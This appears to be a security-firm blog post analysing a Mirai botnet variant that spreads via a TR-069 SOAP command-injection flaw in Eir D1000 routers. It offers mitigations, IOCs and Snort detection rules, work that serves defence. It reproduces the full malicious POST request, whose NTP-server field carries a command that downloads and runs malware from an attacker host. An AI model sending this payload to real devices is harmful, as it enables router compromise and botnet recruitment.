Fox-IT is observing botnet

Recent vulnerability in Eir D1000 Router used to spread updated version of Mirai DDoS bot

Fox-IT is observing botnet

Over the last two months a lot has been written about the DDoS malware called Mirai. The first known attack, that only later was attributed to Mirai, was against the Krebs On Security blog on September 20th. It is likely that this same botnet attacked Dyn a month later, causing a massive outage among popular websites world wide.

Previous attacks

One of the attack types that appears to be new to the scene is the use of the Generic Router Encapsulation (GRE) protocol in order to flood victims with packets. This protocol was used against Krebs, but has also been mentioned before. More specifically in a piece by Arbor Networks about an IoT botnet, attacking the networks of the Olympics in Brazil. This could be Mirai, but the first known command and control (C2) server for Mirai was not registered until 2016-09-14. So either it was a different IoT botnet, such as Linux/Fgt (by Lizardsquad) or there was a previous Mirai botnet.

Shortly after the attack against Dyn, the main botnet, using C2 server santasbigcandycane.cx, went quiet and the source code of the Mirai botnet was released:

Source: https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/

As a result of the source code becoming public, many new Mirai botnets started to appear. These botnets were a lot smaller than the original one. This is likely because the original botnet only spread by using default credentials of Telnet enabled devices and scanning the internet for them. So a limited amount of victims, most of which were likely already infected by the original botnet and because of that, blocking new infections.

Two researchers (@MalwareTechBlog & @2sec4u) created a public twitter feed tracking attacks launched by these Mirai botnets (@MiraiAttacks), so far they have identified at least 79 sub-botnets.

Recently there were claims of a bigger Mirai botnet, one that was bigger than all of the other ones combined. The operators of this botnet are selling access to this botnet and claim to have over 400.000 bots and using different spreading techniques than the original Mirai bot. The previously listed Mirai Tracker lists this botnet as ‘#14’.

Mirai botnet spreading using SOAP exploit

A Mirai botnet using a different spreading approach than the original bot was observed by Fox-IT on Sunday. Just as the original botnet, the bots start attacking other devices on the internet in an attempt to infect them. Where the original bot uses Telnet and a set of default credentials, this version uses a recently documented SOAP exploit.

The bot is using the following POST request on TCP port 7547 to infect other devices:

—-
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
<NewNTPServer1>
cd /tmp;wget http://l.ocalhost[.]host/1;chmod 777 1;./1
</NewNTPServer1>

<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>
</u:SetNTPServers>
</SOAP-ENV:Body></SOAP-ENV:Envelope>
—-

A write-up on how this exploit works is provided by ‘Kenzo2017’ in his blogpost. The exploit is located in the implementation of a service that allows ISPs to configure and modify settings of specific modems using the TR-069 protocol. One of those settings allows, by mistake, the execution of Busybox commands such as wget to download malware. BusyBox is software that provides several stripped-down Unix tools in a single executable file.

In the exploit code you can see that the protocol allows for the ISP to set the NTP-servers which the modems should use, but rather than entering an IP or a hostname, a bash/busybox command is given:

`cd /tmp;wget http://l.ocalhost[.]host/1;chmod 777 1;./1`

We can break this command up in multiple parts:

– ‘wget’ is used to retrieve the malware from http://l.ocalhost[.]host.
– ‘chmod 777 1’ makes the file executable.
– ‘./1’ executes the malware on the system.

So could this be the Botnet #14, where the authors are boasting 400k infections?
This is possible, but for now difficult to verify. What we do know is that these management interfaces for modems are being exposed at various internet service providers around the world. In Germany this has lead to big problems for Deutsche Telecom, where an attacker disabled the internet for 900.000 modems, possibly using the same vulnerability. For now it is unclear if there was an attempt to load Mirai on these devices, or whether this is an unrelated attack.

This is likely not the last we will be seeing of Mirai and its successors. New spreading mechanisms and DDoS attack methods are being added in this gold rush for new victims, something we outlined more high level in a previous blog post.
Fox-IT is observing this botnet for future activity and possible victims of its DDoS attacks.

Mitigation

  • ISPs should configure the modems to only allow connections to their management interfaces from the ISPs own management network, not the whole world.
  • Users could replace these modems if possible with their own, better secured devices.
  • Contact the ISP and vendor of the modems for patches that might resolve the vulnerability.

IOCs

Hash: c723eebacfc8b845efbcc33c43dd3567dd026b1d (MIPS)
Hash: f37d2f6ff24429db2fc83434e663042c2667fa41 (ARM)

Hostname: l.ocalhost[.]host (download location)
Hostname: timeserver[.]host (c2 server)

New download location observed in Fox-IT honeypots:
Hostname: tr069[.]pw (download location)
Hostnane: p.ocalhost[.]host (download location)
IP: 5.8.65[.]5 (download location)

The following Snort IDS rule can be used to detect spreading attempts against your network:

alert tcp $EXTERNAL_NET any -> $HOME_NET 7547 (msg:”FOX-SRT – Exploit – TR-069 SOAP RCE NewNTPServer exploit incoming”; flow:established,to_server; content:”POST”; depth:4; content:”/UD/act?1″; content:”urn:dslforum-org:service:Time:1#SetNTPServers”; threshold: type limit, track by_dst, count 1, seconds 60; classtype:attempted-admin; reference:url,blog.fox-it.com/2016/11/28/recent-vulnerability-in-eir-d1000-router-used-to-spread-updated-version-of-mirai-ddos-bot; sid:1; rev:1;)

By changing the HOME_NET and EXTERNAL_NET in this rule, it can be used to detect clients within your network attacking hosts on the internet:

alert tcp $HOME_NET any -> $EXTERNAL_NET 7547 (msg:”FOX-SRT – Exploit – TR-069 SOAP RCE NewNTPServer exploit outgoing”; flow:established,to_server; content:”POST”; depth:4; content:”/UD/act?1″; content:”urn:dslforum-org:service:Time:1#SetNTPServers”; threshold: type limit, track by_src, count 1, seconds 60; classtype:attempted-admin; reference:url,blog.fox-it.com/2016/11/28/recent-vulnerability-in-eir-d1000-router-used-to-spread-updated-version-of-mirai-ddos-bot; sid:2; rev:1;)

These Snort rules can also be found on our Github.

Lennart Haagsma, Network Security Analyst Fox-IT

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